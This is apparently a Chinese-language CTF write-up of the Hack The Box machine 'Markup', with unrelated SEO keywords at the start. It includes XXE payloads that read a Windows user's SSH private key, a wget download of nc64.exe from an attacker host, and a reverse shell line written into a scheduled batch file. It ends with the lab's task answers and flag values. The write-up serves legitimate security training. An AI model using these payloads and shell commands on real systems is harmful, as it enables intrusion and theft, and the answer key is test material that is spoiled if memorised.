做网站参考文献,域名如何做网站,wordpress app 使用,百度关键词推广怎么收费文章目录 一 Markup测试过程1.1 打点1.2 权限获取1.3 权限升级 二 题目 一 Markup测试过程 1.1 打点 1.端口扫描
nmap -A -Pn -sC 10.129.95.1922.访问web网站#xff0c;登录口爆破发现存在弱口令admin#xff1a;password 3.抓包#xff0c;发现请求体是XML格式 4.尝试使… 文章目录 一 Markup测试过程1.1 打点1.2 权限获取1.3 权限升级 二 题目 一 Markup测试过程 1.1 打点 1.端口扫描
nmap -A -Pn -sC 10.129.95.1922.访问web网站登录口爆破发现存在弱口令adminpassword 3.抓包发现请求体是XML格式 4.尝试使用XXE漏洞file协议读取文件
?xml version 1.0?
!DOCTYPE foo [ !ENTITY xxe SYSTEM file:///c:/windows/win.ini ]
itemxxe;/item1.2 权限获取 1.在网页源代码中发现存在用户名 Daniel 2.假定 Daniel 是真实存在的用户尝试检索Daniel用户的ssh私钥
?xml version 1.0?
!DOCTYPE foo [ !ENTITY xxe SYSTEM file:///c:/users/daniel/.ssh/id_rsa ]
itemxxe;/item3.获取到RSA私钥接下来就使用RSA私钥尝试登录
# 将XXE漏洞获取到的ssh 私钥复制进id_rsa中并赋400权限
vi id_rsa
chmod 400 id_rsa
ssh -i id_rsa Daniel10.129.95.1921.3 权限升级 1.查看当前用户的安全特权
whoami /privdaniel用户拥有SeChangeNotifyPrivilege和SeIncreaseWorkingSetPrivilege权限暂无可利用点。 2.查看是否存在敏感文件 在Log-Management文件夹下发现 job.bat 文件 cd Log-Management
dir
type job.batjob.bat主要用来清除日志并且必须是管理员用户才可以执行。并且有一个wevtutil.exe可执行文件。 # icacls命令,可以对特定文件或文件夹设置访问权限、修改权限、查看权限等操作
icacls job.bat但是job.bat只能由管理员用户执行目前是Daniel用户权限无法利用。 那用户组是否对 job.bat 有其他的操作权限。 从输出可以看出组BUTLTIN\Users 对 bat.job 文件具有完全控制权限BUILTIN\Users 组表示所有本地用户肯定也就包含 Daniel 用户。所以只要能操控bat.job就可以运行我门的反弹shell。 3.检查job.bat文件中提到的wevtutil进程是否正在运行 在job.bat中wevtutil.exe进程是作为计划任务定期去检索相关信息并执行操作。如何wevtutil.exe进程正在运行的话我门就可以利用job.bat进行计划任务反弹shell了。 schtasks4.将nc.exe上传到\Log-Management目录
# 攻击机器开启httpweb
python3 -m http.server 8080wget http://10.10.14.35:8080/nc64.exe -outfile nc64.exe
dir5.执行反弹shell
# 攻击机执行监听
ncat -lnvp 4444我们对该二进制文件job.bat具有完全访问权限这意味着我们可以修改job.bat文件并插入任何我们构造好的payload。我们可以使用nc64.exe借此更改.bat文件以生成一个反向shell。 echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.14.35 4444 C:\Log-Management\job.bat 6.查看root flag 二 题目 Tags
Web、Injection、Apache、SSH、PHP、Reconnaissance、Scheduled Job Abuse、Weak Credentials、Arbitrary File Upload、XXE Injection、Weak Permissions译文Web、注入、Apache、SSH、PHP、侦察、计划任务滥用、弱凭据、任意文件上传、XXE注入、弱权限Connect
To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you dont see an update after 2-3 minutes, refresh the page.译文要攻击目标机器您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新请刷新页面。SPAWN MACHINE
Spawn the target machine and the IP will show here.译文生成目标机器IP 将显示在此处TASK 1
What version of Apache is running on the targets port 80?译文目标 80 端口上运行的Apache哪个版本答2.4.41TASK 2
What username:password combination logs in successfully?译文什么用户名密码组合登录成功答admin:passwordTASK 3
What is the word at the top of the page that accepts user input?译文页面顶部接受用户输入的单词是什么答orderTASK 4
What XML version is used on the target? 译文目标使用什么 XML 版本答1.0TASK 5
What does the XXE / XEE attack acronym stand for? 译文XXE / XEE攻击首字母缩略词代表什么答XML External EntityTASK 6
What username can we find on the webpages HTML code?译文我们可以在网页的 HTML 代码上找到什么用户名答danielTASK 7
What is the file located in the Log-Management folder on the target?译文目标上的 Log-Management 文件夹中的文件是什么答job.batTASK 8
What executable is mentioned in the file mentioned before?译文前面提到的文件中提到了什么可执行文件答wevtutil.exeSUBMIT FLAG
Submit user flag译文用户flag答032d2fc8952a8c24e39c8f0ee9918ef7 SUBMIT FLAG
Submit root flag译文提交root flag答f574a3e7650cebd8c39784299cb570f8